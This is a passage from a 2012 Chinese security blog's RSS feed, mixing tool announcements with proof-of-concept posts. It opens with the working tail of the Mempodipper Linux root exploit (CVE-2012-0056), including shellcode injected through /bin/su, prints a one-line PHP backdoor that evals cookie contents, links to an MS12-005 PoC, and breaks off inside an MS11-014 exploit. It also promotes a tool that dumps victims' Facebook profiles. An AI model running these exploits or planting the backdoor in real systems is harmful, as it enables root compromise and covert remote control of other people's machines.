socketpair.\n&quot;);<br />&nbsp;if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) &amp;lt; 0) {<br />&nbsp;&nbsp;perror(&quot;[-] socketpair&quot;);<br />&nbsp;&nbsp;return 1;<br />&nbsp;}<br />&nbsp;if (fork()) {<br />&nbsp;&nbsp;printf(&quot;[+] Waiting for transferred fd in parent.\n&quot;);<br />&nbsp;&nbsp;int fd = recv_fd(sockets[1]);<br />&nbsp;&nbsp;printf(&quot;[+] Received fd at %d.\n&quot;, fd);<br />&nbsp;&nbsp;if (fd &amp;lt; 0) {<br />&nbsp;&nbsp;&nbsp;perror(&quot;[-] recv_fd&quot;);<br />&nbsp;&nbsp;&nbsp;return 1;<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;printf(&quot;[+] Assigning fd %d to stderr.\n&quot;, fd);<br />&nbsp;&nbsp;dup2(2, 15);<br />&nbsp;&nbsp;dup2(fd, 2);<br /><br />&nbsp;&nbsp;unsigned long offset = address - su_padding();<br />&nbsp;&nbsp;printf(&quot;[+] Seeking to offset 0x%lx.\n&quot;, offset);<br />&nbsp;&nbsp;lseek64(fd, offset, SEEK_SET);<br />&nbsp;&nbsp;<br />#if defined(__i386__)<br />&nbsp;&nbsp;// See shellcode-32.s in this package for the source.<br />&nbsp;&nbsp;char shellcode[] =<br />&nbsp;&nbsp;&nbsp;&quot;\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x80&quot;;<br />#elif defined(__x86_64__)<br />&nbsp;&nbsp;// See shellcode-64.s in this package for the source.<br />&nbsp;&nbsp;char shellcode[] =<br />&nbsp;&nbsp;&nbsp;&quot;\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50&quot;<br />&nbsp;&nbsp;&nbsp;&quot;\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05&quot;;<br />#else<br />#error &quot;That platform is not supported.&quot;<br />#endif<br />&nbsp;&nbsp;printf(&quot;[+] Executing su with shellcode.\n&quot;);<br />&nbsp;&nbsp;execl(&quot;/bin/su&quot;, &quot;su&quot;, shellcode, NULL);<br />&nbsp;} else {<br />&nbsp;&nbsp;char sock[32];<br />&nbsp;&nbsp;sprintf(sock, &quot;%d&quot;, sockets[0]);<br />&nbsp;&nbsp;printf(&quot;[+] Executing child from child fork.\n&quot;);<br />&nbsp;&nbsp;execl(&quot;/proc/self/exe&quot;, prog_name, &quot;-c&quot;, sock, NULL);<br />&nbsp;}<br />&nbsp;return 0;<br />}<br /><br />int main(int argc, char **argv)<br />{<br />&nbsp;prog_name = argv[0];<br />&nbsp;<br />&nbsp;if (argc &amp;gt; 2 &amp;&amp; argv[1][0] == '-' &amp;&amp; argv[1][1] == 'c')<br />&nbsp;&nbsp;return child(atoi(argv[2]));<br />&nbsp;<br />&nbsp;printf(&quot;===============================\n&quot;);<br />&nbsp;printf(&quot;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mempodipper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =\n&quot;);<br />&nbsp;printf(&quot;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; by zx2c4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =\n&quot;);<br />&nbsp;printf(&quot;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jan 21, 2012&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =\n&quot;);<br />&nbsp;printf(&quot;===============================\n\n&quot;);<br />&nbsp;<br />&nbsp;if (argc &amp;gt; 2 &amp;&amp; argv[1][0] == '-' &amp;&amp; argv[1][1] == 'o')<br />&nbsp;&nbsp;return parent(strtoul(argv[2], NULL, 16));<br />&nbsp;else<br />&nbsp;&nbsp;return parent(find_address());<br />&nbsp;<br />}<br /></pre>...]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2387/CVE-2012-0056/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2387</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2387&amp;key=d2befae6</trackback:ping></item><item><title>更新:JavaSnoop 1.1 RC2</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2386/JavaSnoop-1.1-RC2/</link><pubDate>Thu, 26 Jan 2012 21:06:02 +0800</pubDate><guid>http://www.pulog.org/tools/2386/JavaSnoop-1.1-RC2/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; &nbsp;javasnoop是一个java桌面应用程序或applets安全测试工具，它允许你以拦截、篡改数据和其他的一些方式攻击运行在你计算机上的java应用程序。&nbsp;javasnoop可以附加到现有的进程（类似于调试器），然后通过方法调用立即篡改当前程序、运行自定义代码或者仅仅察看系统的改变。<br />工具下载：http://code.google.com/p/javasnoop/downloads/list</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2386/JavaSnoop-1.1-RC2/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2386</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2386&amp;key=d6ecef79</trackback:ping></item><item><title>MySQL 密码审计/恢复/破解工具 - MySQLPasswordAuditor</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2385/MySQLPasswordAuditor/</link><pubDate>Wed, 25 Jan 2012 19:22:33 +0800</pubDate><guid>http://www.pulog.org/tools/2385/MySQLPasswordAuditor/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; MySQLPasswordAuditor是一款MySQL密码工具，当你忘记Mysql数据密码时，MysqlPasswordAuditor能够帮助你容易的恢复它。MySQLPasswordAuditor是可以帮助你审计MySQL数据库的配置，看是否存在弱密码。<br />工具下载：http://securityxploded.net/getfile.php?file=MysqlPasswordAuditor.zip</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2385/MySQLPasswordAuditor/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2385</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2385&amp;key=fccecfe8</trackback:ping></item><item><title>WeBaCoo 0.2.1</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2384/WeBaCoo-0.2.1/</link><pubDate>Wed, 25 Jan 2012 19:16:30 +0800</pubDate><guid>http://www.pulog.org/tools/2384/WeBaCoo-0.2.1/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; WeBaCoo (Web Backdoor Cookie) script-kit是一个小巧的、隐蔽的php后门，它提供了一个可以连接远程web服务器并执行php代码的终端。WeBaCoo使用HTTP响应头传送命令结果，shell命令经base64编码后隐藏在Cookie头中。WeBaCoo的详细介绍:http://www.pulog.org/Ori/2351/PHPbackdoor/。WeBaCoo目前更新至0.2.1<br />&nbsp;&nbsp; MySQL CLI support<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2384/WeBaCoo-0.2.1/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2384</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2384&amp;key=288bae90</trackback:ping></item><item><title>更新:suricata 1.2.1</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2383/suricata-1.2.1/</link><pubDate>Tue, 24 Jan 2012 07:38:56 +0800</pubDate><guid>http://www.pulog.org/tools/2383/suricata-1.2.1/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; The Suricata Engine是一个开源的下一代入侵检测与防护引擎。旧版本的一些介绍参见这里：<a href="http://www.pulog.org/tools/542/ids-Suricata/" target="_blank"><font color="#0a5d0a">http://www.pulog.org/tools/542/ids-Suricata/</font></a>。Suricata Engine和the HTP Library在GPLv2许可下使用。The HTP Library是一个HTTP的标准化和解析工具，它能够为Suricata Engine提供先进的HTTP流处理功能。目前，Suricata 更新至1.2.1版,新版主要改变如下:</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2383/suricata-1.2.1/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2383</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2383&amp;key=d20e7cdf</trackback:ping></item><item><title>更新：Armitage 01.19.12</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2382/Armitage-01-19-12/</link><pubDate>Tue, 24 Jan 2012 07:34:24 +0800</pubDate><guid>http://www.pulog.org/tools/2382/Armitage-01-19-12/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Armitage是一个图形化的metasploit网络攻击管理工具，它可视化你的攻击目标，推荐exploit和公开了metasploit框架的高级功能。Armitage的目标是使得了解黑客入侵但不常用metasploit的安全从业人员能够使用metasploit，如果你想学习metasploit和研究它的高级功能， Armitage可以帮助你。Armitage使用java编写并且开放源代码。rmitage目前更新至01.19.12版，新版主要改变如下:</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2382/Armitage-01-19-12/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2382</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2382&amp;key=c444cb47</trackback:ping></item><item><title>php backdoor - Hookworm</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2381/Hookworm/</link><pubDate>Sun, 22 Jan 2012 20:03:31 +0800</pubDate><guid>http://www.pulog.org/tools/2381/Hookworm/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Hookworm是又一款PHP后门程序,类似于Weevely和WeBaCoo，它的客户端是使用PHP编写的，在CLI下可以运行。服务端：&lt;?php if(isset($_COOKIE['c'])) {eval($_COOKIE['c']); echo $_COOKIE['d'] . $r . $_COOKIE['d'];}?&gt;。Hookworm的主要功能：<br />&nbsp;&nbsp;&nbsp; Fork commands through shell_exec()<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2381/Hookworm/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2381</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2381&amp;key=cbb0daac</trackback:ping></item><item><title>sptoolkit</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2380/sptoolkit/</link><pubDate>Fri, 20 Jan 2012 22:22:20 +0800</pubDate><guid>http://www.pulog.org/tools/2380/sptoolkit/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; spt项目是一个开放源代码的网络钓鱼教育工具包，它的目标不是确保计算机安全而是培养人的安全意识。一些组织可能每年花费很多钱去加固他们的信息系统，但却没有意识到人才是最薄弱的环节，单击一个链接可能绕过大多数安全系统的防护。使用spt来培养一下员工的安全意识吧...<br />工具下载：http://www.sptoolkit.com/</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2380/sptoolkit/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2380</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2380&amp;key=c8ba7b14</trackback:ping></item><item><title>cursorjacking</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/XSS/2379/cursorjacking/</link><pubDate>Thu, 19 Jan 2012 20:37:25 +0800</pubDate><guid>http://www.pulog.org/XSS/2379/cursorjacking/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; cursorjacking与clickjacking一样都是萎缩的phishing手段，clickjacking（点击劫持）当你单击A链接实际上打开的是B链接。cursorjacking（鼠标指针劫持）当你将鼠标放置在页面中的A对象上时，实际上鼠标是位于B对象上。下面是老外给的poc有兴趣的童鞋可以在firefox和Chrome下测试一下。你可以认为XSS不是技术活，但你的承认XSS用好了绝对是艺术活。<br />&nbsp;</p><pre class="brush: text;">...</pre>]]></description><category>XSS</category><comments>http://www.pulog.org/XSS/2379/cursorjacking/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2379</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2379&amp;key=21297bf3</trackback:ping></item><item><title>MS12-007</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2378/MS12-007/</link><pubDate>Thu, 19 Jan 2012 20:24:29 +0800</pubDate><guid>http://www.pulog.org/poc/2378/MS12-007/</guid><description><![CDATA[<p><span style="font-family: &quot;Segoe UI&quot;,&quot;sans-serif&quot;; color: #333333; font-size: 10pt; mso-fareast-font-family: 宋体; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA" lang="EN-US">&nbsp;&nbsp;&nbsp; (MS12-007)AntiXSS </span><span style="font-family: 宋体; color: #333333; font-size: 10pt; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Segoe UI'; mso-hansi-font-family: 'Segoe UI'; mso-bidi-font-family: 'Segoe UI'">库绕过漏洞,<span style="font-family: &quot;Segoe UI&quot;,&quot;sans-serif&quot;; color: #333333; font-size: 10pt; mso-fareast-font-family: 宋体; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA" lang="EN-US">Microsoft </span><span style="font-family: 宋体; color: #333333; font-size: 10pt; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Segoe UI'; mso-hansi-font-family: 'Segoe UI'; mso-bidi-font-family: 'Segoe UI'">防跨站点脚本</span><span style="font-family: &quot;Segoe UI&quot;,&quot;sans-serif&quot;; color: #333333; font-size: 10pt; mso-fareast-font-family: 宋体; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA" lang="EN-US"> (AntiXSS) </span><span style="font-family: 宋体; color: #333333; font-size: 10pt; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Segoe UI'; mso-hansi-font-family: 'Segoe UI'; mso-bidi-font-family: 'Segoe UI'">库未正确清理特制的</span><span style="font-family: &quot;Segoe UI&quot;,&quot;sans-serif&quot;; color: #333333; font-size: 10pt; mso-fareast-font-family: 宋体; mso-font-kerning: 0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA" lang="EN-US">HTML,导致执行XSS代码。具体原因是Sanitizer对象的GetSafeHTML或GetSafeHTMLFragmen方法可以被css+expression绕过，具体如下：<br />...</p></span></span>]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2378/MS12-007/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2378</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2378&amp;key=715d7c72</trackback:ping></item><item><title>SQL注入测试平台 - SQLol </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2377/SQLol/</link><pubDate>Wed, 18 Jan 2012 21:36:04 +0800</pubDate><guid>http://www.pulog.org/tools/2377/SQLol/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; SQLol是一个可配置得SQL注入测试平台，它包含了一系列的挑战任务，让你在挑战中测试和学习SQL注入语句。SQLol还是比较有创意的项目...<br />工具下载：https://github.com/SpiderLabs/SQLol</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2377/SQLol/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2377</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2377&amp;key=a5dda8b4</trackback:ping></item><item><title>c/c++静态源代码分析工具 - Cppcheck </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2376/Cppcheck/</link><pubDate>Wed, 18 Jan 2012 21:17:20 +0800</pubDate><guid>http://www.pulog.org/tools/2376/Cppcheck/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Cppcheck是一款静态c/c++源代码分析工具。与其C/C++编译器和许多其它分析工具不同的是它并不检测代码的语法错误，Cppcheck的主要目标是检测常规编译器无法检测的bug。工具主要特点：<br />&nbsp;&nbsp;&nbsp; &bull;Out of bounds checking<br />&nbsp;&nbsp;&nbsp; &bull;Check the code for each class<br />&nbsp;&nbsp;&nbsp; &bull;Checking exception safety<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2376/Cppcheck/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2376</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2376&amp;key=be788ceb</trackback:ping></item><item><title>在线fuzzing工具 - Shazzer</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2375/Shazzer/</link><pubDate>Tue, 17 Jan 2012 21:02:30 +0800</pubDate><guid>http://www.pulog.org/tools/2375/Shazzer/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Shazzer是一款在线的fuzzing工具，它可以存储和收集fuzzing数据。它允许在朋友之间共享fuzz vector或是获取别人的vector。Shazzer能够测试多个客户端和不同浏览器，将一些已经测试过收集在一起可以避免很多重复的测试工作，Shazzer支持的浏览器包括：<br />&nbsp;&nbsp;&nbsp; Chrome&nbsp; <br />&nbsp;&nbsp;&nbsp; Chromium&nbsp;&nbsp;&nbsp; <br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2375/Shazzer/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2375</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2375&amp;key=6d9618fa</trackback:ping></item><item><title>更新:FBPwn 1.7</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2374/fbpwn-1.7/</link><pubDate>Tue, 17 Jan 2012 20:51:44 +0800</pubDate><guid>http://www.pulog.org/tools/2374/fbpwn-1.7/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; fbpwn是一款基于java的facebook 个人资料dump工具。它能够自动向好友发送列取Facebook个人资料的请求并处理接受通知。一旦受害者接受申请，它就会自动dump所有用户信息，照片和好友列表到本地文件夹中。<br />目前fbpwn更新至1.7版，新版主要改变如下：<br />&nbsp;&nbsp;&nbsp; +Fixed getting authenticated profile's ID while logging in <br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2374/fbpwn-1.7/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2374</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2374&amp;key=0294ec11</trackback:ping></item><item><title>mysql注入工具 - sqlsus </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2373/sqlsus/</link><pubDate>Mon, 16 Jan 2012 21:21:31 +0800</pubDate><guid>http://www.pulog.org/tools/2373/sqlsus/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; sqlsus是一个开放源代码的MySQL注入和接管工具，sqlsus使用perl编写,基于命令行界面。sqlsus可以获取数据库结构，注入你自己的SQL语句，从服务器下载文件，爬行web站点可写目录，上传和控制后门，克隆数据库等等...<br />工具下载：http://sqlsus.sourceforge.net/download.html</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2373/sqlsus/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2373</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2373&amp;key=879d1dbc</trackback:ping></item><item><title>ms12-005</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2372/ms12-005/</link><pubDate>Mon, 16 Jan 2012 21:16:59 +0800</pubDate><guid>http://www.pulog.org/poc/2372/ms12-005/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; 如果用户打开含有恶意的嵌入式 ClickOnce 应用程序的特制 Microsoft Office 文件，此漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。<br />http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0013<br />poc:http://www.cc.gatech.edu/~blee303/exploit/ms12-005/MS12-005.ppsx</p>...]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2372/ms12-005/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2372</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2372&amp;key=3b7daa20</trackback:ping></item><item><title>单点登陆系统 - Vulture WebSSO</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2371/Vulture/</link><pubDate>Sun, 15 Jan 2012 20:17:48 +0800</pubDate><guid>http://www.pulog.org/tools/2371/Vulture/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; 单点登录（Single Sign On），简称为SSO，是目前比较流行的企业业务整合的解决方案之一。SSO的定义是在多个应用系统中，用户只需要登录一次就可以访问所有相互信任的应用系统。WebSSO是web应用系统的单点登录，Vulture是基于Apache 2.2中的反向代理实现的Web-SSO解决方案。Vulture WebSSO还提供了应用防火墙功能和Web应用程序与互联网之间提供统一的安全和认证接口。<br />工具下载：http://code.google.com/p/vulture/downloads/list</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2371/Vulture/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2371</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2371&amp;key=709799bc</trackback:ping></item><item><title>MS11-014</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2370/MS11-014/</link><pubDate>Sat, 14 Jan 2012 20:53:26 +0800</pubDate><guid>http://www.pulog.org/poc/2370/MS11-014/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Microsoft Windows&nbsp; 本地安全授权子系统服务(LSASS)进程处理特制的身份验证请求时存在权限提升漏洞，攻击者可利用此漏洞以提升的权限执行代码，从而完全控制受影响系统。<br />&nbsp;</p><pre class="brush: cpp;">// @author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : m_101<br />// @website&nbsp;&nbsp;&nbsp;&nbsp; : http://binholic.blogspot.com/<br />// @licence&nbsp;&nbsp;&nbsp;&nbsp; : beerware<br />// @year&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 2012<br />// @reference&nbsp;&nbsp; : MS11-014<br />// @source&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Jorge Moura and http://newsoft-tech.blogspot.com/2012/01/ms11-014-this-is-not-bug-your-are.html<br />#include &amp;lt;stdio.h&amp;gt;<br />#include &amp;lt;stdlib.h&amp;gt;<br /><br />#define _WIN32_WINNT 0x0501<br />#include &amp;lt;windows.h&amp;gt;<br />#include &amp;lt;tchar.h&amp;gt;<br /><br />#include &amp;lt;stdint.h&amp;gt;<br /><br />#define ALPHA_UPPER&nbsp;&nbsp;&nbsp;&nbsp; &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;<br />#define ALPHA_LOWER&nbsp;&nbsp;&nbsp;&nbsp; &quot;abcdefghijklmnopqrstuvwxyz&quot;<br />#define DIGITS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;0123456789&quot;<br /><br />// create unique pattern (useful for finding eip offset in bof for example)<br />// thanks to the msf project for the algorythm<br />// the code is a dirty hack, could be more optimized<br />unsigned char* pattern_create (size_t szPattern)<br />{<br />&nbsp;&nbsp;&nbsp; unsigned char **charsets;<br />&nbsp;&nbsp;&nbsp; size_t *szCharsets, nCharsets, *offsets, idxPattern;<br />&nbsp;&nbsp;&nbsp; long idxOffset;<br />&nbsp;&nbsp;&nbsp; //<br />&nbsp;&nbsp;&nbsp; unsigned char *pattern;<br /><br />&nbsp;&nbsp;&nbsp; if (!szPattern)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br /><br />&nbsp;&nbsp;&nbsp; // pattern<br />&nbsp;&nbsp;&nbsp; pattern = calloc (szPattern + 1, sizeof(*pattern));<br />&nbsp;&nbsp;&nbsp; if (!pattern)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; // charsets<br />&nbsp;&nbsp;&nbsp; nCharsets = 3;<br />&nbsp;&nbsp;&nbsp; charsets = calloc (3, sizeof(*charsets));<br />&nbsp;&nbsp;&nbsp; // the charsets<br />&nbsp;&nbsp;&nbsp; charsets[0] = strdup(ALPHA_UPPER);<br />&nbsp;&nbsp;&nbsp; charsets[1] = strdup(ALPHA_LOWER);<br />&nbsp;&nbsp;&nbsp; charsets[2] = strdup(DIGITS);<br />&nbsp;&nbsp;&nbsp; // charsets size<br />&nbsp;&nbsp;&nbsp; szCharsets = calloc (3, sizeof(*szCharsets));<br />&nbsp;&nbsp;&nbsp; szCharsets[0] = sizeof(ALPHA_UPPER) - 1;<br />&nbsp;&nbsp;&nbsp; szCharsets[1] = sizeof(ALPHA_LOWER) - 1;<br />&nbsp;&nbsp;&nbsp; szCharsets[2] = sizeof(DIGITS) - 1;<br />&nbsp;&nbsp;&nbsp; // offsets<br />&nbsp;&nbsp;&nbsp; offsets = calloc (nCharsets, sizeof(*offsets));<br /><br />&nbsp;&nbsp;&nbsp; // pattern<br />&nbsp;&nbsp;&nbsp; pattern = calloc (szPattern + 1, sizeof(*pattern));<br />&nbsp;&nbsp;&nbsp; if (!pattern)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // cleanup<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto cleanup;<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; // we construct pattern<br />&nbsp;&nbsp;&nbsp; idxPattern = 0;<br />&nbsp;&nbsp;&nbsp; while (idxPattern &amp;lt; szPattern)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // concat<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (idxOffset = 0; idxOffset &amp;lt; nCharsets &amp;&amp; idxPattern &amp;lt; szPattern; idxOffset++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pattern[idxPattern] = charsets[idxOffset][offsets[idxOffset]];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; idxPattern++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // increment offset if we wrap back to 0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; idxOffset = nCharsets - 1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (idxOffset &amp;gt;= 0 &amp;&amp; 